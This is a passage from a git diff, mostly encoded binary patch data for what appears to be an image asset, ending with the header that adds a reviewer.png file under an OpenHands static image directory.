zSl)C#=x8C?cf#T$bVEo;20J*UaoJ;!7MTTYSsIVIk2=D)3r{naGz#}vKi7bg-xsvD zv=0{!j7fygJoAo~P5maqKW$C=^-kM_0v#<~vGv8?9teHVc=re9blN#GS4Q@O(t=1= zlR@Ojy{eIr%T+rKcNfKfBCWif`?)e|JiBIn5v%+Nc4beo->RnqF7ydH7EhT*RI7K- z?TarY470i-Be7U4VJSqERaz>)i;5-8dv8re!wKupzS#@}PppY4B3V049Lo}Yoa-n1 zYFDZO#&5C~j%v?CRCKD|{b~C^#+Ws72?ibL8xhE33!s zPWrjfqEi~Mg&f(4VD8Jgx`m(yYWz9M7yYb6?U|YUuO~K*5zURMl0q}!-QTlvKNZfGH-Kg_zF2lYptoVLUAzpZP zg6%=~vy)5u^XK&{d<;jMdW;D+iW`LR#P6D5Z9uy)bxd<3P-A0u;^!&~p&Tjadt4{b z!lCheoQ>~&dg)S4P!F0N_i7;QEBE=@xbN|yOTgM$VnC7c1KiBUwb{?>QFM5Qnj71!UZL@A2;%%GP@j3C4Bg& z0;;G)%F?4lutatl!N@Q37CX`xF*7RW!z%JsX~cVKYTdE!yhkuilcDiafp!lw{_5Sb zXx87b@~)5;gop^f)$i-RyC#Ns>GKjWa8vgv8`VK&?rzyPI?7@*KhA7}K|&{e3m)in zZtK`a?(XhR30M!bnUp5laUW5-nY1sg zsab%XeL2gK3{vK6uu3<{(CpH7`cb;!0j`ie7LDmK$Pfr(H9%Kztk_IM1s38a&nKo?_2 zRt2lp9bSD3DkTki2S><{6~ukG9a`~4mnI{Yj97F6$ho2!v6lV>eSQQ;K z%@j85;;})$HPmNghDjKtfuIOyC%7Qnw2I3s6q|8}{5$Ou)8ycnf|xqv3Y*GmoT+1{v*H&z5viKn?+s&~M(b9Iu-*{u`Le z|K%d}uY&vebflI8|1qQTJwB=NBav}<6ZS|S#^0!_T>tlt{3XyUAT+n__JO#{2WIYx z-;OGg?#(cq+&-TqRQ~VZ=oIh_zPIga5`499cukMq=+CS}A!r8#_>D&MJbK2>u zdR&D@Mn{NdK3*|qRt7y!)bRR`lC9};gJOiQ^xyjgXk_E8bBV%c`*@x0;-5ctpa15t zVpS>VX2f+<r0;p0bp@ zl2SkP1B+dz4Ha@#vRA%%37^16;s`6XedoPl>9AVU)bF&J^?<5h z6H(-HDaS%jesoKP!|WEL@L|)Xrxe^!k0YeL;tefC=$$Jc z$T|K#l)(+N(^hko`VJmj;m3k?S2-J5l(wwgOOMkSS-A8Ow2l#Ac>}y!#nG4HFF4T% zqOs?8QoH>Rg>rV-wyCgpr>l(e5%3d*o!fmmsDoIMNM*zmz2D@H$79nkx$B~W|Yu7 z-lzR`fU9;d5DV_6PmX2EHZP{vsY$e?T+#LbUGg@dDo0%3jt`nL*Ldxz*^I(6IlTaW z+*kCUrbG7&XNw453z@Cec-Ch*AAg~>HH|V}L)VM5)%z_PbYDn6r^cqI$2=}R6xyuz zn+e$)cT3VY3`Zk}9Nvkru?uCDo#q(6$QmwR5DgE{U}iDcjU^c#3K{bz=f4m;`EVM1 zdVNOp+(#>@sca|5()LHuMqmb*r#D&+_SctVAdm8YCy@uvRbYFs*z6ENY32{Fec zRuT!s_nnSA+4+y1SNc;5ZC;=r%L>>vHEgFVI+`BoQeW227kd{Eb$)>{OR?A!+42U+hu9%Xp`0>RCL znZ9l!vmxFhDW$Gsp1Sde1XFO1B;{`agII;$2e4ts`d;|9HP4K##AFZ0$Vs}Bvc23;gr(bVG*;gp6JZ(|h^V7dW3shG zHeI#8iCf0N5h*DgYzhjO>Rd<9hH@2$L+iyF*w=NzKAz&FkiLbfRFpWylrv^VkB=LIj{B$K~mGUyFzI;xCUqm+>`cmfqtn z_|0_CRxxZt9|gjL&~;)q??*Gzg`1Y>p?Z0h^q1Q~H?#n=M^v6t%B_-zm_4(K$uAoO z`aeV7zyH^k=ih$q#W(Io6tOZEv)Cm?U|4$Wi`6;Vm;rO4v#9cpPa?6&4!W%Y1Q~)J zC&NB_DX!Tq6+gER?+bgnY_j__Eg+ZbB3Fvo4bZBSq)%rugD+6HCwXb#RukUm890s4 z4cs?0CXd6doVvAKDyRKPJ=2fzN((mw-v0anpX~-AI;*pQqWnL6T#bx&+tOVuOdYBU zH;VEVwdkjtN_W)e_gtWr>6`ZLOj;@`&y{`mf4`Q=W>+p1-JOjW`yHpJJ}j0DFGcO1 zre~UuJ$2mJ#3^fFQRQHZRy+nx9$6j1Lr{;i zN3vvQ;ZI2@;A-sPKV9yeO&e@G8MdO9N95BhWmB7~{!uZDm=KZz zq!R0gQH5ah6rx6{V@F-#T z>&Zs=aC6wGcVO53ifh0b!hA?0@rB@Y(^q-<0gMj8EsN0&f!{|Wl;xhJUqZzrvn3+* z$?ic?#ZQo60y{eGcK89VWjp1_uarFD#Roq59sxa9`iXS}0r9=A-*Pp}e?kjJzH;>* zSvhyWatrG$cq3w5$@$wv+h(BN_3-oHnR)7{L^s`X%lv$7Y|+Jj`)_Fk^x=orov)LZ z1%G?o9QFLv9U5_b5{1FVaTx(in4k!0*Eex7SI@;1f}49jddl+g29pr0O-jM{Z7A=Y z0UlO%wNfAS;Vf*u0iM!)*3_`{6~qq0{23wuSUCW#Mk?0&g7#<)CwMe#hEmmIu#ebHCU#V~1pTe9^$`>nG@o*4Hke}M5C zx$gNTuYIg$3m$HAW4t4Hsi6f1p8g#@&Mw?CVO)9q_&@T`HVullgVkxSzAsBeomVOl zcc8<^FF#(e$K_CuM?M3xu&)ok`USycuQ<$rOfSv2TX2sMJ+0-Wp@;G8=Kc@eMQN5m zg|{*aMM$@ty{#i6U+f<;J*JTSO#*tp4sUCac6FCqwAa7-%tNQN8$=AmQYV|m&`4Q4 zp_kaXSe*TNv+Cc%xBH#NuI#3-4n4L1$X@?H1X7>y8BJ%zcI(QUKEA5m41~q~E%_wKVN!zD&Y{&Bu9f}mlf#kHW7|5pEvqLMT zDW0UxfkPeYkhMEy)RneF@djmPW_MrJ$p*-ae*7H8z1AMMDqDVH6bA8`c)RVRGzN1S zI7-C{8A|!4f}26WRex&ycd)k$INtufkw371-w5vCH}e1fOXPQBfUO)^vW_ob6mu^w zF3MjT);UT2t?!zI_mLlPG>A1T z-kO_iswivjNq%_E$sY5tn!sIw!u60j5^mM%=kGX}+*<^hdXKE<>xFDUgGh%QUPOPx zt=tuX!JEz0+%EvBxH}jUFb%>QVBvD5@gY8CVnc z&_R?TR3~QgA2A`^L{|Q&oYTvv5%5>^q}QSPZ?4L?cFiO?3yHzb!T@vRY4q^$u)8Ry z=nJ{%62q3+@o@q3ZomVERV^<}d^KNNb!d2jY-((L6Wg4v>z7|4fSuYcH(zu9QE}M6 z5?t`3-nh8Kbi`&@Eb9CC%*c9V?_@I_2gkA)U5jN^%EN`pj7!~l9B0eq9kH{T68rs* zAWp6)C~953_3GrQ2)($h0Zp{3#rEiUtsg7ID#_WTYBXo$o4U0n#O^>!tw+c#oP+3h zQ}b*}Q-o;&YVzZ*#lWLJR}t!dBd|ktzxmkx-!_jbR&mB6JqK;+LbP6I{fd;u z#YS3bzj1`r5P9$2-^KQPOq#Vc%PXpFwpFSx%WJIm8g_PD>A-;DXkCXQ6{dIrU$WJF$f^5YqvQ7O5LK`$tC< z5nQFrb*oIAIkFMtrD{nups2P?g3dU@MQxh~1a?&<++4Uuy zPl}FAP420Tl)m6~mU=wgXdh7anf`5r0M(>(O_E2tkWQfQn>67W&6s7}hY zJiB}^|B|%`UDlmCf!fzpl7+aA*-uwXu#dbZ8uR7K>ijvCZfRdKN%ek#_(U_{>l?Mv z`uEwO-Uj{lT^?#E4#Epo+(J#*h+H$?^@B(wPS@K)&)CvBz;tsbj62+Z>6{5 zOoj(MB`hHQ*bkYL1$^UD9q6IBNe=TB z4ml{S1qiZ4zX~Ld)Tk$i>6D3ZvV5U~I{aj4#L^8-s6u$HZeIHTy}MtFrqS_Vy(Lv= z(gW|=JC}9amg#6}Z>G4#YG5HhAiLq*A<{3aV>PrAbe&8DUp?~-&woze6Q3I5|7=n5 z>0^crkX;2E?%?;gf%JwElIw3v|hIUP)9{J+)YS`mKe%H zmp?A?%EzW>Nc|5*Y>mC`WYx1r_k#Scw}2igh5OX!bMVVLy?#oU=_W*Szk?v-IeBFF z!she{b5`|;roO%vAN7HszFf4GoRB1-cL^Nsjf$IWY>SwLC|=j~5d;YDCCU_+uwywm zJ~XYZrcvc#-};fGW(}Ke@tT+3N}@`9WJ(Metus`l1?+x*=>_iOacjt|;(@xEsltQv572lb$rXqw??Eayra=&32H;JZ4` z%ki`gI_ocW9Q%+sSJR0ZVxLE@WAzYD1#5ff3+mG14^`GPsNYLz#D8bsUyDY@H;I@k z-WRAZvKEk0+y8P@C}fG24UHB@qCRdf8~(TAzB(+buWi>xML|JAQYD0;QE~{SrMpAv zju{v_3`AO5q$Gz%7=|7Y5NVK(p_>7Q&LPeQe(!hA_nz-M*ZJdI-`Ri7wHfy8wbrxN zQ}=T}9VnmR$W#fIfc^DdyejUG{LT!YRYFcdz55U;ul%l{qC>nwR^8}OFhyXHFH^b<0|!G24jn@A%<_7 zKB%OcuIVBo>Ay4$wr#0)(h*)OjRnOaI#gNBj&#Ul{)#C|c+A<((b*_`e)u9pA{&L0 zE2+Xn>#+}FWD7{Tf>f%#TZ)xgGkJ8PWhCxMfiRfWqf{v>c zxj6PvRdYZ`%W}PAg*=-hj9;~(j$s&a=ZTE?ah5d7tMr6efd0com;K7;Snq*KGvkEO z+M)dMx#5v%q9*mYA%qd=#l&n?&fkfyA9j6vv@w%N`Bml4_#7#dJi9;?t}!P8=hdml zu=od4MXSCT8)#>1-#HO9w&n>Rsp#oBNS8(aCAQr^GBLX~{V>YkI3cgZLv2r-yJqr4 z5jG!_UH3w{)~+3gR~GWq!zLGvKpMgX5#{+_*gHs`vhZGa$uL|(f-}2TBbHm`(Tq>{ zbIbDkG!*|D>ByrbMc4faNqbIerw1%RY)uPwNCf|{A7<$e8zH_nLHXIpENJtoJlnvJa$2?A+ z5r_D+nx6)Wkp*h+>YGiH?Qf?I>g!mMeo(ktb%~+a;QyXsW?W=OVm3dhaVWGhRtasG zRp73Mm8oN%1%SVgiELfOdauyP0XEZ|ek;+IENECCS)+5YTvx)20}Ui^UVMH_bl&|P zxc<9Ly#Fg>@xRRu{6?;;_p!MektXqo=9{+u;N0fRQI~W>@%|AC;pEtonSgAo4>Ai? z;}Zsjs&6jlY3dEnv@n14hS;MfK-9?`< zA1BHPeAP*lwbQyLD*Bj92m3vf=bA69)Twv!Zojxp{)9jmyFv}60!4wv=Y#!v8Y5W7 zqq$PG?=ikM?IuQwWJJ97I6jiUT%%T=;;RAlZ(2=OwBSqc764)77mT_3_Y{F5 zxBA+9K9hC`0$v!3fq_ zQ%}J|LGbY%kFm~z%GxJsUHa3xd1d4;#gvBE@8{lps+D3|h#s*d=r3|0$SUE91*F<^ z|LB&3@j-zuNWZJC1C`;~@E+z0m3|^pb0)d)Igf=cws(~};CfPLCw2Yrq|DO6s#rFT zZqiQ*>$Jo4w=WFFdziJbAS5X?(6F*jCa!LG&D^LE8lbMbFshu4`tc;g1TTS)&!cL+ zB3WIx=V#};+m(EL?p11+F=(aFf%o}=1ixUHi|P>$*L;uvlX{x8W`cZ{agOIfd!@Fm zgXM^^;;LQ2S+eLe@{U*{m5$xDzu#=<#r{qnDTYs|+84nD#HJY;X1;cWQHR1tCI=4` zpRkhK4s=zmMJo5L#s#;Ry|iZvb>*$?A&ob{=I3#CD^frDqtvgn0_#s8Hk>!S#?@0g zIGsP4WtHuMw_anV68-7->0qZrfEq$!@UFBAip8*RshaNgn}Y=FS~$w&OHlTUFF9{L zO>CI5B>3hB2!>+S^9RRch~!o&sbZZy`;IzOqfK8X1gn)m{&do?rwz^wYZ@`${BE7# zbzY?RZaS*{EF>lS1)5FOb;aD3J>pAwmCHgbl2=WS(^0x1 z0<%|zhtrantv2~!1#h<>JVcq863V`CuDD*gR?(c)p8(U=q(oPJ_#jn8LVQ~I)>S{} zIp^?=N?IY?|$NgT4F0O4?AN zNCgoc2la`y>-7h>)7j_T__+_HIQE%t%Im5;lCUd&oyVnd_SR_EPO|T5fjT`U{ZpFT zpP_M)>Gh30rp25-Gq&mP_H4!NvP;(v8lTp8N z*nra-El@3qjySe($bOn`4bD+Fwoe$3a)|F>CSAB~_m86`^RCE4=uuE$!6k?#KSWV;Quct!s>MDVG{&pxsx)tUSACdHa`6S>vs$!UA* zY`rsc1y6085{k_F=KHR;b{j2aM{DePVJ;RI=bqB}+^XjE?=1HF)rVduz5+E2u~!Q-l|=CSIO$7$ z>vj|N1)azyD=i{26%cQnfPqHryGpS=-FPaA=b(Y;N(?9j6Jf8e$S{+Go(Wf{kDCA1 z$WsMhm^~coOoduCnauG(?lHwwwzg zWo_yUecPW(4k?E_Ay$W#*DOJk8H&$MHr?p|f-KC(H+cB04GP=-jEBkVPVe4gSebeg z_*M^^H@NI|_KWl>^~B^fe!Q)#k>J2URb^rGa=tTZS|JG;1{x>)D5_Am; zs|;vV)J5FD1VLs9>53k8O9zX;WmdTGHoUmN-J0=ySAjBDetH$`o;x^`yIol)si_zR zF@e3H1`m%8Ps9+}Hwm>hR+RGwp;uPQ@k0|59_L-`9yeq8o@Hm(b(GVr6xPAY%1Vfa zj3!LCAeq;06!q*L!)b-buC-tiso(RkEgS}e`Oa+?RFZ@Pcg!>eD<$$jy_iFqF4O$9 zv`=JhdE+(i+mWrNzOi4EG}JRytzJ?v96Y(8%DHld&;;aDcDC~Y^?R9h zx}r2FKKHL!0HH zwz_gt_O1`M2FzX?fZqBZ9bVfyopOGk06B-@(qNY#ZulzF%@oyP^CL<1_ z`;)$Be97+SLC?x9ra$O(Q<{(3G5A*Fmb$|e&pBj)i>BZ7p331U#$RKSGe^C9Or8%C z9o|-pafly0#`+Q`-}CP-I!qS@dA_E*_`ctpmw;Imd$xD1Wd{(cHhGdTfgZIFvQ{|@ zcpseMINnjIQ+#xfpKrPeh3DaaI^CHME>^1-4+uB<>W|Clt~D zJiESKcf!rf>1YyykBL1tJZwA6ZHHH1lkPH9%)7g|w7|hxSF_QPJR9Dqhw$2Kq4|uy zczezf;GqYjn8^31EBkl(C%icv=i)5RuxE!^B}uV(h6V;RhjAO0acZ5+2F13ujz_=n zJi`pgR~ekP4ti4XK`{`=!AJ*`y~tS)HYKqW*246%X6uNhFZ}rD_HfhHm<9LtwoIes zqLf0-FnxiOH}L(8y*!P)1s2+NzGx7RsGd-SpPZJ-3)`f@5=XH>N|M3RtVk`e(ON9u z{dFvpgH}XSIhRUpw@DEsEkdpR(|M#p*tzr9n&XGK*LWO7l1YGDbZ**Oe~^$lZX|Zu+Zk-cU#1h<_=8} zC~YXQtmW;~gjb6QI4&XPesz`!LgckeO{d46O>e~)0z;yy%T~oU*Z!1wuo@P+XKPYZ z$I<)zVxcx<4|CwPyV;*X>w6YHFBjM*iIm}!z%VSSD zo0=LyOI6*|7aBd~lg3-uLs$;j6tT)DqJ)0T5wO&n895$`5_s=y#hJa`wOJRhr0S?+Pn2U;w6 zgl|}rqeH;?=eDxgUyc(@ZcHBgA8@#o$my><^GiU;TVwfE`tM>^_GGZStGr6h%bq!cD(l3s}Q zw^wS;g5%?!4r3J&I6YlmituKCy!q49v%^({8Win&8i!XUy5jDcck)~myxZuDJwmK| z&1d$4bFtM&ho8@IMpBide?lp53NZuxDe33^+}(Pa>xv2s3&)OLH)=j?)2VUW3?zPj z;d=gRj30gqvY2g+Jj?2|^W6vMoq9FDFUJTr<>Y==$dflp=BshE4T-?_9Y31g%GJQo z(atfxCpUK_y1R}|nUhLo7>0}xX-cp`ewVo zYkpd!fx4N_+4E}Qk9{$@3#{HJNQOY#x;l=uS`(k()%Rpw&IDbiPcfP`nj&XA0kp@* z4Zk`C_#xtQ3#`n(b|X7#6NH4Oi}04@!=uPg`zNWbJW{FOx4}hm9Q>%obOc8#V%2jyU~ItDkM0JC%G-AGtl-y3Fey2>b992o|5#@WNHfMsTii5cQ6(-$5FRyBE(snNegvCU>%r7Ps+{&igaZ%Iau3o%ci6&YNjt z&AF@I^aJ^67pn9d6ERpKlVuEga#Y~2Qma?pX725SP8r22@D`;dSoelY`x3V&gcCfyL0E zysK7*?zVRzA`X9{?x&?9>`jcnoKd3QSI>A&D^j+TB(nP>WG)QUZuYSt??YLSrJFwX z(^L30UX0{IM(S0Nd3-^IY1YQbnD%>O^asmLTv_W>@z#U*MK!9rju<~aH{5ZmcLbgE z3`R1~Q0M5Fih)(x$~j)o)BZP;@zhpM;kG2ck*+d87nxIE{k5AGU+R;8yC$o{IZy#_U1q)Uz|^bNwWxwALTq>A_Fh<-&p1LLH2;s$>#bJT^Q|$_zFSHB2Q6&cM&=P7(>bBYv^JD@4!b#dqpx zvi7VUu%Ye-n9q=_Ob&FP)y@uwQkobkhtV#Nc~8_pMtb97+1!{Bi*1K}&p!qzn%xrC zKM22`(xJP%wc=Y-@F0CU2-eRE)yyBH5FDv<2;QxOld9KWju_Z`6=lz2O8*~bs#ON$#%4=B}M^x6t>dbHmFl_@s&Jg5K^^3$?SN6KX#pO}&ujHsFx~B7)!a zxLv0v!bLrzl7&}=OCbZfqRzP*4KXdgR05fXy8Qj4SJ#_w=Eb5^cU9jz&Ug4aCw)Iv zeTOx~iGVkzlY?2}bbQtcwQ_JV*-Ma_jtGKi-3M&5QGFiu-=M@-H&DI8I*LOm#jS9Cyz?1H^l+Wtrbk{tlwgh6fHyO!NT=+5l5hix$||9BXU z@qmXhT51JkvSk>fWYbb5DC2|h@2Z0a0GA9%o);NZGhU8OD7%$BZ3}?Dg041KLKlyY zj!boGlQV7gQ63s2IhuJf>DOq8jh!Te%hT(#i2a-60shwM@p;ym3l(;S@#&Ou1HQ^5 zz*%-Kx`slb`bs`+Mg$df{V||6oa}xi;?P`}RmF|i<8q_yu7#}UgOYyeJ(SCZnI~7K z*XLFv5yKNp8ZeK9)h6*>Sq7L^pMCe+>+XUu-l|mwS%N2+RfYHx0g-NO>`_nzg`%Q_ zScIEctTc*p-k3&7O=pvy$7^BvMR739GGL7Oj%xrN^JQ%PEz#%fj&EGEKuA74PGu(C zeS0C);z!Wn>ez&~9g)dvBWX{jNTO1ys1bb~v-_Wgdf?Lrd`W}f*USxmQFaRzWFzu< zf|vCIB$Eb^sMIkg2?9?&v{+!YDd%_j1&p=a&-xT$(Xz?4JqC%S)~dl;n90Xz-N~=j zgAW9-Ho4n(!mHJXutyXZ+r}>uIIHR3$TCKq=fzk+APSQ%m7LOEop(eZ*86R-OS1EO z?!whKRfrHL_cMqR8kc`2+^29+4Sc0L>EijKi5@!MB?Zl9%VsM_R8GQhY3a0W zJ0!&#)!cCj1&YmLwPmi+?F=P4e%UYL1d?J%qYR_4cksN|u!J)WS?^{rmfE zvo|IUjXb62(s<$oK!ds+3?89>iI=y^YsXjHX~^Vqb#>c3g+%Ig&ABW;*(!7^*(mS^cg0m!s2dv?B;LM7WWKG;Fwg}tu|C_kra+0uc!EFKUcVz&HY*LH*}+wt z)h})bP{8b8=qTtK9q)Y-XDu8qMwGyFvUj!%Xv?Lt}!?V9hdtp-S2}^&d#56PqH`z+ckuc13xJxG#_~ptqMj z(_?hq?ux8SJInWLuE+R4kQK0(>IojBD>1p0*V9}~`u2kA2dRD07YEqZ$nRTJH*emY zCFF;+H;0J@KBIs7_>QEMhaQ;=X|*IJ8a+1lFhr`l25ash!Ci!$gWMAsC$@xo9*_4} z{z5MV2YDcTI1R}UfjMX9!+$?$Ud~4zD*chB93979U|{epP!KVm8|;~o0K-+!1_BxN zX_{&!KPp1!3b0o_)~yCScf zxa^zxhu|^UAQMBIL6YST-l#`=HGP;B)zKdGC?*`f&d;*|wWvizi^Znbj$;YxfNrVm zzS0PE3U?t-I8S%LplLa|YCufhjp$r&Y`LDeSnFs)0r<4+B8@m#^ae0E9#%E4RPdvJ zkf}|-;*Y>3-exJn!VpenOut`PWX=TE+uwtLV%zQ|KgMu!&pZX9##TF7cC_Z7CB`1% zcalmXd!A%Ht8Y08g|^H+8_ncl~x9e|Cy&%wJ zyIrarh$tx27Ncjz9XL>srT!ta1cQOdEq9s+E%D3<*X^z{j~b(*LvD$EREi9O-Aw;r z0FU|Odv?A%{k+ao_=QHFS;K{28Dsi$QhZMjm&{a!rz>pxD5KA=_=cBnfmzzT$%D8) z?IZ>KMvH_v%8<@E=OcW))t)$6P^;#6oy`jWo+)7qCFmI%(hX?J?-0Vv{bKX^g}L?FFL$QxAXcw-PhTxMl#95V3Lhn z>tC2udtN;OeP_wDYm{>NQZC45`uwrRjpiu(5D&8QMWGQ}$-nWPO^tez*gN|zk@Xpr zLO*OV>jVB`(f1g11!{bYjI0 z7nqho3{nEl#)}3en#KQS7$APrq8s%t<1vkDgrmOZ#F-qu3Tv5QS%qc?DUH5)Z)eG> zenO*1T!vUu!NgD4ZmdD|cT6ti{#?ET(BZu+mzaiGAm$5P0@cGwu9;Bl9pDZ~OO77c3?I7QP6qfkr zx5y~+UAmX{&xR*P*haXGl!^;~>rUtLw%2!cJ-Ebf3Q0105rj=lOvJyi0AP()(cFN! zrW|x<_Umn+W;!6(psNHquz-vg7LI5<-5ZaOr=Rolv`JreuF!3Ru0-?N!7MDkx&168 z3Va2%^X^z?Ejp{e75a5GkYOgZ>tj4!&JRzhcX*$U&RH@<;(>9%?{_5fEGQ0ne!5V8|{Hd|5aQSz_{ zq%WT+jF=gZ-|rkTgT&ij;ER$e)SRmxPW-3fOhCG39$X;-R&-lDP_)nx^<5EuQ|Kl= z0+HE6YOg=Jq;y;9>iqt|zyOa~+aojZzU#N9V6qf`C$aNWU)5f0b|6~LJk?Se$uPAXiNRzSEnOlO zzwr}S2VKC+t{dZLNq- zY>@>srB;!l1}t~LdOmw&>5HIedUKzuChJ{7MH`z9H&@MQp$?v8enA`Yfb#i=FN4%E zWAoz%7CmBRj)Xf-y!@r1V}0CJ9$~>p1IvMNZ6@8OM9RjKh>L-hJ!!`4KRut zfCYQZ*6wQ{GtG9vV4>O+W-r6;LPj{!Ep4J534no(q?078kaFBZYkTe#wpAQV_z!{$ zH131JHSvpD$+elqg$-#8aTmjv_q#)z#{HjhBl|74a_O&ix?G(OX2j&XfXj+_=*4lu zYxO@_HcLr|_HI>^?|6)*Itnoa3r4w@Wz2D0LXrHW0bC}* zo5;x4IX78Q6Tqc_b?8!2v0;Z+<`(=J!8j}N|Hay4Z~vZ`7Y+ZMq^Mw{Q1BcyLIE3i zd~Em5q_Q(Z>p5M3Fg8om_c&~VI-ZN|-)-Q*)rTLOkkIOrLgGx-YN$A}p#O);bHFWH z0oyz5Z~PXs$$=H{{NA%Ku-lSEShx!(qcqU2w%HSJ3HxEr!3$MM3bEffgwV#VLa$ku zTXL#*cOOTQcHo(hkBFt zT@%AgL;bO_mAnGnxTuI9e2#hvI@E>M2_qT$3Ws}QYoQ6_r(k<=ZtV_1f#LrCRcdSd zI)_iVNB|XVJzpz(UzWPq-WLr9T$E$!{`mI9F4_7SQ)=BV@Lrt(x|$o8`6J_7*ZPwFr}$ zV$^LXvD~|>cDXwHqm=j8xT2t*N!|x7#05RZgK+Vrr1xmUYBhrin6JEANkeq?b(I3& zk+eH63w-Si6reITMU&VLkzd&wUl5&xkrJMb2`dxUJFTP^2FN!Q)yNx}E=~XD1E>f( z&j=SXlcHD397=-f7s>}wI+M(Ls~js(zSOz9h1}j1NT2bcx>{^OC-!8zx+W!T#I6-@@38 ziPFZB(cwXo=ymtb>@M3Ea$F8-2)JA&+6|gFQra2mE%c^02*Ud4o+NR}*A3}vti7-R z#>NiO?=ZY~I$EVoPeX{e=OO4_UrizMaHrzq$NhPi{V#uFG4gZ=YUf^tTFLXw$J}-# z`;yQm$m7`T@*!~2f;M{L&$z)ok8|bV2cMv4BgVA^>KYW&OPti#-*_DsaBcielp#xC z!%rqA6A+^()*0&woSL}W zRzL?4qzNMkU6GL#a~jDVvI>^UNqesL^LZpi4U0f#VnIrhd$PV_53~X~0^Jt*J;Ob8 zYxXZ5184Rn;AWswSoopU((i{w%w4=oO%hDxUGsR5XRCz!-v&lv?;MIX#Ik{1M?a)u zl{u&OCzJG4HG$6`O?Xu5%ABu+0Tyaa`b0$q0G5cn7Dl zOZP&iFUC@q>VAT1y{k2)U{%V8a<{88>@HYWyYwNLeg-0N`agW5PG3PS9?@SpavOb%5 z-jN^HP1;&IAe{Fg_{Bc`Bv?3NcKoXE+a&;-{w6c@qeZNpmGhU{g+Jew=_!bTXz7s2Hx@Mh*;y4L{3qb5%ZU9*Rh!Fbgi|7^B%3 z2gN-ODCso2UB)|v*C;!hj$9vJ?ikndi1xLM+WLFmD-i#Jw?yqGlA;5{W7kl#o1bg z@weSjr*B<_800)=l|5T8fJGgjAL>0Nu^bOnTD!GJtu`?qdc*|=+BpBOcDDH~ zZS{)8J)-48oQ=b-}GnzfaqM)XK~F6KL|%$5_szD)D1^EJJ-8nQ3K{R(313a?%N z&|}$<>L6T1{IR&ESQHV15!0pBPqR(M(6Di!)?`LWJ!t#}R4kClD{k)`oQ)7P(11Z1 zLt64rt-sDCAN-7slLb*wtmLlp+I;Rb)L1Ne{K<{UOZo;wvsiKTpeYxqJLiQ~|G>yD zCUx{Wb!~PRHaAa|LPpQFOoP8&HWQ8Q8md7uKhgMli6dfs_g@+IChaH9XJb_eNO^g& zp>t&}La(ds zmhQgZUpS(HBT7zD_v4oZ&bylDuQuY#zwd>RaCVHuNw<)k02AM``=WL+P~WE+~El#{2ym zlBd%^KI(8z)yK%dz(6faUZo7`8}M)W)esGJ03z&;OaMyLxZ_v5iAoSbx#|FgQTh$q zSy{dt^@eLdDgCjiRJRHE1t9Orl*+#_-6TL<{p14FJzLiji;43js6%5`7%zA4mGXoP zKe|QP*o_~t97gOy0;=^{pz8B+0hpcl|Cg|ClN(e(ab35N`0Z;#x97{F^d3Dv|9{RN zDFTix`S?h*47{&W!{F)|$9#GE@dpT+&sXjI3x0u|QtLoOsZb$FP~(c@S@dKVFjp55 zpkKc!*`}0F6SiYmv;fYe3LQZxSCg!kR;;mvCt8J&2Ll1ha*Dflm6vzcaleiESyeM zIL*$rM%C@v)JcgFymfAKkT}frI$DOe6@A8DtO2LhA8h?o)5*WLZrzG@Ewf1R2HM}; zz9Pl#edIjPmv*cQ6w)acUiei}R=^5F#`&T{Et1`(Mh<{H2GIDmpr(nLRlyCW#0kT!w;9n!|4UE@}K`RA|QcNNcp zcn2T8a$W>t=<3f~G6UEDOPt)@8&k}@Y;unz0Z|aTd;R)#pg^?!f(GnLl)v9~C1!@6 zZzA4Rk@mO4qah;}h-km`^78$o-Ae%6+Zis2n@TwVvQlWvc^1~z6a%`%Lu5Re`qd}% zhPK}t$ypDXHM+d}n+~|U1hkYUVQk9KxVWbzumIe%1Ok5z8Q)4T{Lv|9>0j^RJ?XkH z<~J|ve3BveR4!)xzx1fTeY{Q{Cjebw^5xL4cycjAG@?6GSN@clwa3z0*iHOXq#@*! zob4xWcQAUkD|%XOMzf+hrE=68SG&{c;IoaMJl%5z81EdsW+^KRFT}~Oxy_V7g_#?L zWleD(J}D3IxOHQSYah>d1F!Bdq3#eE$K%jH02?W-kel*|``+pZn_d|cn2cTjAlT@5 z=45}8?BZp@-v?moxy)KSKCGWs9ekYBJXPV14!^b`;kG-V#b-a}2FPQap@$W)Wy8-7 z!l5`DYwPH`wl1LXWpHqCbPaYf^bK;i4H_!7Q^JCSBrR)Ov=W!)wvtin#{@vT#|*)X`ru**r6;|fnTvfX*u&+= z?@l8l1waEGk(ms=@hLDYE)y~*yFQ})WW&mQE9`x;^3-1ry2WVkMUnff=t+a0Z(FYs zg*|TpdgFXHqmr%KB=g-QYoG^kv`4tQGo0v2pQuJz9Ge~~K|p(3TkRgQ=w#9N6h2^0 zQnHd;T2_`U(bJ6;{T{mZ}aIs0vn6>~+FimU`3$7PA* zUIXIDTys|asw3C9*rf&e_Hm!Hc&k431`>02Z^#@s!F*B4$@sd@e)rjNw?D@R*%+OO zMF73jEd*t`n+QOAx6144M9VJ($&Ct_45!(;qbzdxBudSVvm8!*;%YZ0Wv6X$GCFgh zv|sA-2SDhl{`}E#IGV^I2(M3fMbJvKFMKm)(ad+74dpv$hGaqq5Ktfe;j7*3k)~yK z4^V^yVyg=CIm1nA@qVbE0@{_-{fBHkzkWiSL{j(S1e?_0{kQ_Q+>88hxNVW^JCcyZ zr2hSd5lH3)(~CT{v0%R~x3FTK`)tu(PE@^@YP{429!?`1lccTAvu!R)Ammj0)soHv zz*E#6G;siQqr_&oU+=FYkw}}t{N?ra$!gc4NLMDX?^aX_)ADE4kjr#G4IW|7$Jt5Z zE%eiYp+(UbqA%9}?7r~6E-DC}UCQKAOyIS6-P#cU(cr}qPL1qzdt>^5GH)nf0I>)k zA6hs*!VEBo0mNAb zyWP0Zf%*1DvfCCnrXmDktHXSChn;`^0J~#R>RCh`uDVW*=)Tz*aQI{b0^XG(dUkxc zZH|b)Y&1H>wW*v$8_l2Y+aWRAg}H0a?!LPpH+DScYo3Bb(E*1QvzBqIm)A_oWqt}4LkNj-8Slc!_J(!F`#A)W!{7IJ#* zet8a7c>F^n)dKym_!0ok@#~i#Co^Ngv-6*JYkTN8Wwmp-n1UZ=+zUEaq<(O!t9Z#$ z-rnB-rgBsSlWJjW-#P1}LD50~Q)8*+UTVCCPb%z%>Q65Q#3=dxicn1Sl^Fn)&{ra% zqMoDPkj}};`J{ad$$IggoI1DpH`M6@&%f^X{JOaM#sB@kM7HD3?boxjuw$KbwR!8@ cnZACdYS|vlwDP{>{MX({DoPZJz5Vb%0O8NwM*si- literal 0 HcmV?d00001 diff --git a/openhands/static/img/software-factory/reviewer.png b/openhands/static/img/software-factory/reviewer.png new file mode 100644 index 